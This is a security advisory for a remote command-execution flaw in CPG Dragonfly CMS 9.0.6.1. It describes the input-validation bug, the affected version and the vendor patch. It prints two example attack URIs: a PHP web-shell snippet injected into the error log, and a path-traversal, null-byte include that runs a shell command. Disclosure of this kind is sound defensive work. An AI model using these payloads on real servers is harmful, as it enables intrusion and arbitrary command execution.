CPG Dragonfly CMS Remote Command Execution Vulnerability

Bugtraq ID:	16546
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 08 2006 12:00AM
Updated:	Feb 10 2006 08:28PM
Credit:	rgod <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	CPG Dragonfly Dragonfly CMS 9.0.6 .1
Not Vulnerable:

CPG Dragonfly CMS Remote Command Execution Vulnerability

CPG Dragonfly CMS is prone to a remote command-execution vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP commands on an affected computer with the privileges of the webserver process.

Successful exploitation could facilitate unauthorized access; other attacks are also possible.

CPG Dragonfly CMS Remote Command Execution Vulnerability

An exploit is not required.

Example URI has been provided:
http://www.example.com/[path]/error.php?<?passthru($_GET[cmd]);?>
http://www.example.com/[path]/install.php?cmd=ls%20-la&newlang=../../cpg_error.log%00

An exploit designed to leverage this issue was provided by rgod.

• /data/vulnerabilities/exploits/cpg_dragonfly_exploit.php

CPG Dragonfly CMS Remote Command Execution Vulnerability

Solution:

Patches have been released by the vendor. Please see references for more information.

CPG Dragonfly CMS Remote Command Execution Vulnerability

References:

• CPG Dragonfly CMS Home Page (CPG)
  
• Re: Posted on Bugtraq -CPGNuke Dragonfly 9.0.6.1 remote comm (DJMaze)
  
• CPGNuke Dragonfly 9.0.6.1 remote commands execution through arbitrary local incl ([email protected])
  
• Re: CPGNuke Dragonfly 9.0.6.1 remote commands execution through arbitrary local ([email protected])